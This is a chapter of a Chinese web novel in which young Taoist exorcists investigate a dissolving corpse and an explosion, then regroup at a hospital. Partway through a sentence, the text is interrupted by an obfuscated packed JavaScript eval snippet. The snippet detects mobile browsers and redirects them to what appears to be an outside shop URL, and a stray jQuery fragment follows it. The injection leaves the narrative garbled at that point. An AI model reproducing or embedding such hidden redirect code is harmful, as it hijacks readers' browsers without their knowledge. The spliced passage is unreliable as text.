师兄妹两人对视一眼,抬脚上前查看,忽然,仓库外隐在月光下的山坳处传来细微的声音,陆青阳眉头一动,收起桃木剑疾步往门口走。
“别追了,人走远了。”苏沫蹲在黑袍人跟前。
手一伸掀开盖在黑衣人脸上的斗篷,露出底下惨白的脸颊,那人眼睛瞪圆,残留着不敢置信,嘴角血迹斑斑,已没了呼吸,苏沫皱眉,目光飞快扫过那人全身,最后落在他脖子左侧,那里有道刺青,黑色的条线缠绕,中心隐约是一点青灰色,她正要细看。
“噗嗤噗嗤”的声音响起,那黑袍人整个脸颊都塌陷下去,发出一股恶臭,刚走过来的陆青阳脸色骤变,一把提着苏沫后领就往后撤,等两人退开一米的距离,他才松开手。
苏沫转过头,发现地上那具尸体早已化成一滩沸腾的血水,连片衣角都没剩下,甚至还将底下的地面腐蚀了一块,要不是刚才陆青阳拉得快,她多半要被那血水溅到。
“这也太变态了。”苏沫咂舌,她绕着那血水转了一圈,回忆着刚刚瞥到一眼的刺青,挠了挠头,有点眼熟,但想不起什么时间见过。
陆青阳叹了口气,“线索又断了。”
“又”,闻言,苏沫猛然一拍脑袋,凑到陆青阳身旁,“师兄,我觉得这人跟之前子母煞那次跑掉的黑袍人是同伙。”
“理由?”陆青阳诧异地看了她一眼。
苏沫摇了摇头,“没有理由,也没证据,就是直觉。”
说着,她盯着仓库的角落,那里散落着几根断开的绳索,还有几张碎纸,她下意识摸了摸手腕上的铜钱,温温的没什么动静,她定了定心神朝那走去。
“干嘛去?”陆青阳正打电话摇人善后,余光瞥见她的动作,问道。
“去看看。”苏沫头也不回,“刚那两个学生就被绑在那,看看还有没有遗留的……”
话音未落,轰的一声巨响,一股热浪直接将她掀翻在地,耳朵里嗡嗡作响。不远处的陆青阳满脸惊骇,甩飞手机,猛地朝苏沫扑了过来,将她整个护在身下,碎石噼里啪啦砸在背上,让他不由闷哼了几声。
好一会,两人才缓过神来,陆青阳爬起来,低头看她,“有事没?”
苏沫撑着地坐起来,愣神地看着眼前的废墟,胳膊上被碎石划了一道口子,正在流血,脸上灰扑扑的,蹭破了皮,她疼得眼眶泛红,但还是咬着下唇摇了摇头,“没事。”
陆青阳盯着她看了两秒,伸手把她拉了起来,拖着就往外走,“别看了,你手伤了,先去医院。”
医院走廊的灯光昏暗,苏沫坐在急诊室外的长椅上,胳膊上的伤口处理过了,缠着一圈绷带,运动服上灰扑扑的,还多了好几道口子,脸上还有擦伤。
同样一身狼狈的陆青阳站在旁边打电话,声音压得很低,时不时还看苏沫一眼,眼底似乎藏着担忧。来来往往的人路过,总是会多看她一眼,甚至途中还有个四五岁的小姑娘跑过来,给苏沫塞了一支水蜜桃味的棒棒糖。
“姐姐,疼的话吃糖就好了。”小姑娘甜滋滋的声音似乎还在耳边。
苏沫盯着手里的棒棒糖发呆。
过了好一会,陆青阳终于打完了电话,在苏沫旁边坐了下来,“那两个学生醒了,但什么都问不出来。”
闻言,苏沫扭头看他。
“吓坏了。”陆青阳语气沉沉,“翻来覆去就一句话,‘有鬼’,估计说的是仓库有鬼。”
苏沫垂眸摩挲着腕上的铜钱,没说话。
走廊尽头,沈鸢脚步匆匆。她刚从病房那边过来,手里捏着个东西,大步走到苏沫跟前停下,递了过去。
“这个,是我从其中一个男生的衣服兜里摸到的。”她说着,“我问了几个问题,他们什么都没说。”
苏沫点头,接过那个小东西,是枚徽章,硬币大小,金属质地,正面是一颗树,枝叶繁茂,线条缠绕最后收拢为一只微微睁开的眼睛,做工不算精细,但这个图案一眼就能记住,她反复翻看徽章,眉头皱起,眼熟,不仅眼熟还有点抵触。
她下意识又摸了摸手腕上的铜钱,没有反应。
沈鸢等了一会,见她还是没说话,就继续开口,“第九局那里叫我过去一趟,说是有什么事情让我协助。”
苏沫继续点头,眼睛一直盯着手中那枚徽章,只抬起只手冲她挥了挥,示意自己知道了。
见状,沈鸢看了眼苏沫又看了眼她身旁的陆青阳,转身走了,走了两步又回头,欲言又止,最后还是随着人群离开了。
“我回去查邪术。”陆青阳站起来,拍了拍裤子,盯着苏沫看了一会,“林小雨马上就到,你自己呆一会行不行?”
苏沫抬眼。
陆青阳顿了一下,忽然压低声音,犹豫了好一会才皱着眉说:“观里以前出过叛徒,这事……你知道吧?”
闻言,苏沫眉头一动,脑子里忽然有了个猜测,正要再问上两句,陆青阳就大步走了,速度很快,像是赶着去查什么东西,又像是害怕苏沫再问点什么东西。
等到看不见他的背影,走廊彻底安静下来,苏沫整个人靠在椅背上,阖眼仰着头,那个虚影都浮现在她脑海中,抬手,轻而易举就破了自己束手无策的阵法,虽看不清脸,但他落在自己身上的目光很熟悉,也很温暖。
与此同时,沈鸢在的黑色商务车上。
一位四五十穿着藏青色派克服的中年男性,上下打量着沈鸢,眼中是藏不住的好奇,“你是警校生?怎么会认识天虚观的丫头?”
沈鸢看了他一眼,“直播。”
“哦。”说直播他就知道了,为了这事,天虚观那两个老家伙特意打电话过来关照了。
从第九局出来后,沈鸢没让他们的车送,自己叫了辆车回医院,天色已经暗了,车窗外的路灯飞快掠过,光影在她脸上明明灭灭。
她垂眸盯着自己的手腕,那里似乎还残留着姐姐掌心冰凉的触感,她闭上眼仰头靠在了后座的椅背上。
匆匆赶来的林小雨,一手提着包,一手抓着件干净的外套,站在医院急症大厅四处张望,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406997|200566||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找了一会才在急诊外科门口走廊的长椅上看到苏沫,她一个人孤零零的坐在那,仰着头,原本绑在头顶的丸子头已经散了,微卷的头发凌乱的搭在胸前,身上的运动服沾满了灰,胳膊上的绷带渗出一点嫣红,仰着头靠在椅背上,似乎在休息。
林小雨张了张嘴,没有出声,她从来没见过苏沫这幅模样,以往的苏沫遇到危险总是冲在最前面,总是无所不能的,直到今天,她才记起,这个救下自己的姑娘,今年才十八岁,比她小了几岁,甚至比沈鸢还要小三岁,想到这她鼻子一酸。
一时间不知道怎么开口,就转身往饮水机那里去了。
她取了个纸杯,水流声哗哗,她沉默地盯着杯口。
苏沫一个人坐着,她回忆着今天遇到的一切,从进学校那不正常的漆黑,再到红月还有实验楼附近的松鼠,死掉的鸟,她猛然睁开眼,“是鬼蜮!”
她跟沈鸢夜探的辅仁高中是鬼蜮,难怪她觉得不对劲,苏沫皱眉,百思不得其解,叶臻为什么会出现在鬼蜮,而且那里跟师父说过的鬼蜮截然不同,所以她当时才没有一眼看出来。
林小雨端着水杯往回走,与此同时,刚下出租车的沈鸢小跑着回来,拐角处她看见林小雨站在那,目光顺着她的视线望去。
苏沫垂着头,手边放着一支粉色包装的棒棒糖,胳膊上缠着绷带,手中握着一枚徽章,整个人跟个脏脏包似的,小小一只孤零零地呆在那。
沈鸢脚步不自觉慢了下来,她想起初见时苏沫的镇定,还有翻墙时的利落,实验楼中被人围堵的冷静,最后被阵法困住还能安然脱身,她一直觉得苏沫很强,强到不需要让人担心,可现在看过去,她分明还是个小姑娘,比自己还小。
两人对视一眼,林小雨走了过去,把水杯放在她手边,又将自己带来的衣服披在她身上,随后在她边上坐下,沈鸢跟在她身后,坐在了苏沫另外一边。
三个人就这么坐着,谁也没开口。
沈鸢看着苏沫,忽然就想起自己的姐姐,她现在是不是一个人藏在实验楼,还要担心有人发现自己,她低头盯着自己的掌心。
她想抓住姐姐,带她出来,可抓空了。
很晚了,急诊人少了很多,走廊偶尔有人走过,头顶的灯管偶尔闪烁一下,滋滋作响。
过了好一会,苏沫动了一下,她抬头左右看了两人一眼,“干嘛?”
两人谁也没说话,苏沫沉默了一会,看着手边还在冒着热气地水杯,喝了一口,温热的水顺着喉咙滑下,让她整个人都舒服了不少。
喝完,她捧着杯子,又靠回了椅背上,三个人依旧没说话。
与此同时,猩红的月色笼罩着整座实验楼,叶臻站在二楼的试验台前,上面摆满了实验器材,似乎刚刚上完一节实验课,她正在收拾。
忽然身后传来细碎的声音,她头也没回,只是轻声道:“别怕。”
声音很轻,像是怕惊动什么,“再等等。”
窗外夜色沉沉,一辆深灰色的仰望在路上疾驰而过。